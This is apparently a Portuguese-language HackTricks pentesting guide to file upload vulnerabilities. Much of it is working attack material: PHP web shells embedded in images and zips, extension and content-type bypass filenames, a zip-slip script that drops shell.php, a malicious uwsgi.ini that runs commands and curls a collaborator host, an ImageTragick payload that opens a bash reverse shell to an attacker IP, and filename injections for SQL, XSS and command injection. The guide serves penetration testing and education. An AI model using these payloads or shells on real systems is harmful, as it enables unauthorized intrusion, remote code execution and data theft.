hacktricks/pentesting-web/file-upload/README.md

# Upload de Arquivo

<details>

<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras formas de apoiar o HackTricks:

* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

![](<../../.gitbook/assets/image (638) (3).png>)

**Dica para caça a bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de caça a bugs criada por hackers, para hackers! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!

{% embed url="https://go.intigriti.com/hacktricks" %}

## Metodologia Geral de Upload de Arquivo

Outras extensões úteis:

* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
* **Funcionando no PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
* **Flash**: _.swf_
* **Perl**: _.pl, .cgi_
* **Erlang Yaws Web Server**: _.yaws_

### Bypass nas verificações de extensões de arquivo

1. Se aplicável, **verifique** as **extensões anteriores.** Teste-as também usando algumas **letras maiúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Verifique **adicionando uma extensão válida antes** da extensão de execução (use as extensões anteriores também):_
* _file.png.php_
* _file.png.Php5_
3. Tente adicionar **caracteres especiais no final.** Você pode usar o Burp para **forçar** todos os caracteres **ascii** e **Unicode**. (_Note que você também pode tentar usar as **extensões mencionadas anteriormente**_)
* _file.php%20_
* _file.php%0a_
* _file.php%00_
* _file.php%0d%0a_
* _file.php/_
* _file.php.\\_
* _file._
* _file.php...._
* _file.pHp5...._
4. Tente burlar as proteções **enganando o analisador de extensões** do servidor com técnicas como **duplicar** a **extensão** ou **adicionar dados inúteis** (**bytes nulos**) entre extensões. _Você também pode usar as **extensões anteriores** para preparar um payload melhor._
* _file.png.php_
* _file.png.pHp5_
* _file.php#.png_
* _file.php%00.png_
* _file.php\x00.png_
* _file.php%0a.png_
* _file.php%0d%0a.png_
* _file.phpJunk123png_
5. Adicione **outra camada de extensões** à verificação anterior:
* _file.png.jpg.php_
* _file.php%00.png%00.jpg_
6. Tente colocar a **extensão de execução antes da extensão válida** e reze para que o servidor esteja mal configurado. (útil para explorar más configurações do Apache onde qualquer coisa com extensão **.php**, mas não necessariamente terminando em .php, executará código):
* _ex: file.php.png_
7. Usando **NTFS alternate data stream (ADS)** no **Windows**. Neste caso, um caractere de dois pontos “:” será inserido após uma extensão proibida e antes de uma permitida. Como resultado, um **arquivo vazio com a extensão proibida** será criado no servidor (por exemplo, “file.asax:.jpg”). Este arquivo pode ser editado posteriormente usando outras técnicas, como usar seu nome curto. O padrão “**::$data**” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto após este padrão também pode ser útil para burlar restrições adicionais (.e.g. “file.asp::$data.”)
8. Tente quebrar os limites do nome do arquivo. A extensão válida é cortada. E o PHP malicioso é deixado. AAA<--SNIP-->AAA.php

```
# Linux máximo de 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # menos 4 aqui e adicionando .png
# Faça o upload do arquivo e verifique a resposta quantos caracteres ele permite. Digamos 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Prepare o payload
AAA<--SNIP 232 A-->AAA.php.png
```

### Bypass nas verificações de Content-Type, Número Mágico, Compressão & Redimensionamento

* Burlar verificações de **Content-Type** definindo o **valor** do **cabeçalho Content-Type** para: _image/png_ , _text/plain , application/octet-stream_
1. Lista de palavras de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)
* Burlar a verificação de **número mágico** adicionando no início do arquivo os **bytes de uma imagem real** (confundir o comando _file_). Ou introduza o shell dentro dos **metadados**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ou você também pode **introduzir o payload diretamente** em uma imagem:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Se **compressão estiver sendo adicionada à sua imagem**, por exemplo, usando algumas bibliotecas padrão do PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), as técnicas anteriores não serão úteis. No entanto, você pode usar a **técnica do chunk PLTE** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
* A página da web também pode estar **redimensionando** a **imagem**, usando, por exemplo, as funções PHP-GD `imagecopyresized` ou `imagecopyresampled`. No entanto, você pode usar a **técnica do chunk IDAT** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
* Outra técnica para fazer um payload que **sobrevive a um redimensionamento de imagem**, usando a função PHP-GD `thumbnailImage`. No entanto, você pode usar a **técnica do chunk tEXt** [**definida aqui**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para inserir algum texto que **sobreviverá à compressão**.
* [**Github com o código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)

### Outros Truques para Verificar

* Encontre uma vulnerabilidade para **renomear** o arquivo já carregado (para mudar a extensão).
* Encontre uma vulnerabilidade de **Inclusão Local de Arquivo** para executar o backdoor.
* **Possível divulgação de informações**:
1. Faça o upload **várias vezes** (e ao **mesmo tempo**) do **mesmo arquivo** com o **mesmo nome**
2. Faça o upload de um arquivo com o **nome** de um **arquivo** ou **pasta** que **já existe**
3. Fazer upload de um arquivo com **“.”, “..”, ou “…” como seu nome**. Por exemplo, no Apache no **Windows**, se o aplicativo salvar os arquivos carregados no diretório “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado “uploads” no diretório “/www/”.
4. Faça o upload de um arquivo que não possa ser excluído facilmente, como **“…:.jpg”** no **NTFS**. (Windows)
5. Faça o upload de um arquivo no **Windows** com **caracteres inválidos** como `|<>*?”` em seu nome. (Windows)
6. Faça o upload de um arquivo no **Windows** usando **nomes reservados** (**proibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
* Tente também **fazer o upload de um executável** (.exe) ou um **.html** (menos suspeito) que **executará código** quando aberto acidentalmente pela vítima.

### Truques especiais de extensão

Se você está tentando fazer upload de arquivos para um servidor **PHP**, [veja o truque do **.htaccess** para executar código](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
Se você está tentando fazer upload de arquivos para um servidor **ASP**, [veja o truque do **.config** para executar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).

Os arquivos `.phar` são como os `.jar` para java, mas para php, e podem ser **usados como um arquivo php** (executando-o com php, ou incluindo-o dentro de um script...)

A extensão `.inc` é às vezes usada para arquivos php que são apenas usados para **importar arquivos**, então, em algum momento, alguém poderia ter permitido **essa extensão ser executada**.

## **Jetty RCE**

Se você pode fazer upload de um arquivo XML em um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell!

![](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)

## **uWSGI RCE**

Se você pode substituir o arquivo de configuração `.ini` de um servidor [**uWSGI, você pode obter RCE**](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**.** De fato, arquivos de configuração uWSGI podem incluir “variáveis mágicas”, placeholders e operadores definidos com uma sintaxe precisa. O operador ‘@’ em particular é usado na forma de @(filename) para incluir o conteúdo de um arquivo. Muitos esquemas uWSGI são suportados, incluindo “exec” - útil para ler a saída padrão de um processo. Esses operadores podem ser armados para Execução de Comando Remoto ou Escrita/Leitura de Arquivo Arbitrário quando um arquivo de configuração .ini é analisado:

Exemplo de arquivo malicioso `uwsgi.ini`:
```ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Quando o arquivo de **configuração** for **analisado**, o **payload** será **executado**. Note que, para que a configuração seja analisada, o **processo precisa ser reiniciado** (crash? DoS?) ou o arquivo **recarregado automaticamente** (uma opção em uso indica os segundos para recarregar o arquivo se uma mudança for encontrada).

**Nota Importante:** A análise do arquivo de configuração pelo uWSGI é permissiva. O payload anterior pode ser embutido dentro de um arquivo binário (por exemplo, imagem, pdf, ...).

## **wget File Upload/SSRF Trick**

Em algumas ocasiões, você pode descobrir que um servidor está usando **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nestes casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma lista de permissões para assegurar que apenas arquivos permitidos sejam baixados. No entanto, **essa verificação pode ser burlada.**\
O comprimento **máximo** de um **nome de arquivo** no **linux** é **255**, no entanto, **wget** trunca os nomes dos arquivos para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, este nome de arquivo vai **burlar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**), mas `wget` vai **renomear** o arquivo para **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
```

```bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Observe que **outra opção** que você pode estar pensando para burlar essa verificação é fazer com que o **servidor HTTP redirecione para um arquivo diferente**, assim a URL inicial passará pela verificação, mas então o wget baixará o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names`, porque **o wget baixará a página redirecionada com o nome do arquivo indicado na URL original**.

#### Outros recursos

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
* [https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
* [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)

## Ferramentas

* [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para auxiliar Pentesters e Caçadores de Bugs no teste de mecanismos de upload de arquivos. Ela utiliza várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web.

## De Upload de Arquivo para outras vulnerabilidades

* Defina **filename** para `../../../tmp/lol.png` e tente realizar um **path traversal**
* Defina **filename** para `sleep(10)-- -.jpg` e você pode conseguir realizar uma **SQL injection**
* Defina **filename** para `<svg onload=alert(document.domain)>` para conseguir um XSS
* Defina **filename** para `; sleep 10;` para testar alguma injeção de comando (mais truques de [injeção de comando aqui](../command-injection.md))
* [**XSS** em upload de arquivo de imagem (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Upload de arquivo **JS** + **XSS** = [Exploração de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE em upload de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Open Redirect** via upload de arquivo svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Tente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)****
* [Vulnerabilidade famosa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Se você pode **indicar ao servidor web para capturar uma imagem de uma URL**, você poderia tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/). Se esta **imagem** for **salva** em algum site **público**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**.
* [**XXE e CORS** bypass com upload de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* PDFs especialmente criados para XSS: A [página a seguir apresenta como **injetar dados em PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você pode fazer upload de PDFs, você poderia preparar algum PDF que executará JS arbitrário seguindo as indicações dadas.
* Faça upload do conteúdo [eicar]([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor tem algum **antivírus**
* Verifique se há algum **limite de tamanho** ao fazer upload de arquivos

Aqui está uma lista dos 10 principais objetivos que você pode alcançar fazendo upload (de [link](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):

1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: Injeção de CSV
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS**: Injeção de HTML / XSS / Open redirect
8. **PNG / JPEG**: Ataque de inundação de pixels (DoS)
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE

#### Extensão Burp

{% embed url="https://github.com/portswigger/upload-scanner" %}

## Magic Header Bytes

* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**: `"\xff\xd8\xff"`

Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para outros tipos de arquivos.

### Upload de Arquivo Zip/Tar Automaticamente Descomprimido

Se você pode fazer upload de um ZIP que vai ser descomprimido dentro do servidor, você pode fazer 2 coisas:

#### Symlink

Faça upload de um link contendo links simbólicos para outros arquivos, então, acessando os arquivos descomprimidos você acessará os arquivos linkados:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Descompressão em pastas diferentes

Os arquivos descomprimidos serão criados em pastas inesperadas.

Poderia-se facilmente presumir que essa configuração protege contra a execução de comandos no nível do sistema operacional via uploads de arquivos maliciosos, mas infelizmente isso não é verdade. Uma vez que o formato de arquivo ZIP suporta compressão hierárquica e também podemos referenciar diretórios de nível superior, podemos escapar do diretório seguro de upload abusando do recurso de descompressão do aplicativo alvo.

Um exploit automatizado para criar esse tipo de arquivos pode ser encontrado aqui: [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
```python
python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Você também pode usar o **truque de symlink com evilarc**, se a flag estiver em `/flag.txt` certifique-se de criar um **symlink para esse arquivo** e **criar esse arquivo em seu sistema** para que, quando você chamar o evilarc, ele **não dê erro**.

Algum código python para criar um zip malicioso:
```python
#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()
```
Para alcançar a execução remota de comandos, segui os seguintes passos:

1. Criar um shell PHP:
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
1. Use o "file spraying" e crie um arquivo zip comprimido:
```
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
simple-backdoor.php  xxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAcmd.php        xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAcmd.php           xxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAcmd.php     xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
xxAxxAcmd.php        xxAxxAxxAxxAxxAcmd.php  xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
root@s2crew:/tmp# zip cmd.zip xx*.php
adding: xxAcmd.php (deflated 40%)
adding: xxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
```
3. Use um editor hexadecimal ou vi e altere o "xxA" para "../", eu usei vi:
```
:set modifiable
:%s/xxA/..\//g
:x!
```
Concluído!

Restava apenas um passo: Fazer o upload do arquivo ZIP e permitir que o aplicativo o descompactasse! Se isso for bem-sucedido e o servidor web tiver privilégios suficientes para escrever nos diretórios, haverá um shell de execução de comandos OS simples no sistema:

[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)

**Referência**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)

## ImageTragic

Faça o upload deste conteúdo com uma extensão de imagem para explorar a vulnerabilidade **(ImageMagick, 7.0.1-1)**
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Incorporando PHP Shell em PNG

A principal razão para colocar um web shell no chunk IDAT é que ele tem a capacidade de contornar operações de redimensionamento e reamostragem - PHP-GD contém duas funções para fazer isso [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) e [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).

Leia este post: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)

## Arquivos Poliglotas

Poliglotas, em um contexto de segurança, são arquivos que são uma forma válida de vários tipos diferentes de arquivos. Por exemplo, um [GIFAR](https://en.wikipedia.org/wiki/Gifar) é tanto um GIF quanto um arquivo RAR. Existem também arquivos que podem ser tanto GIF quanto JS, tanto PPT quanto JS, etc.

Arquivos poliglotas são frequentemente usados para contornar proteções baseadas em tipos de arquivos. Muitas aplicações que permitem aos usuários fazer upload de arquivos só permitem uploads de certos tipos, como JPEG, GIF, DOC, para evitar que usuários façam upload de arquivos potencialmente perigosos como arquivos JS, PHP ou Phar.

Isso ajuda a fazer upload de um arquivo que está em conformidade com o formato de vários formatos diferentes. Isso pode permitir que você faça upload de um arquivo PHAR (PHp ARchive) que também parece um JPEG, mas provavelmente você ainda precisará de uma extensão válida e, se a função de upload não permitir, isso não ajudará.

Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!

{% embed url="https://go.intigriti.com/hacktricks" %}

<details>

<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras maneiras de apoiar o HackTricks:

* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>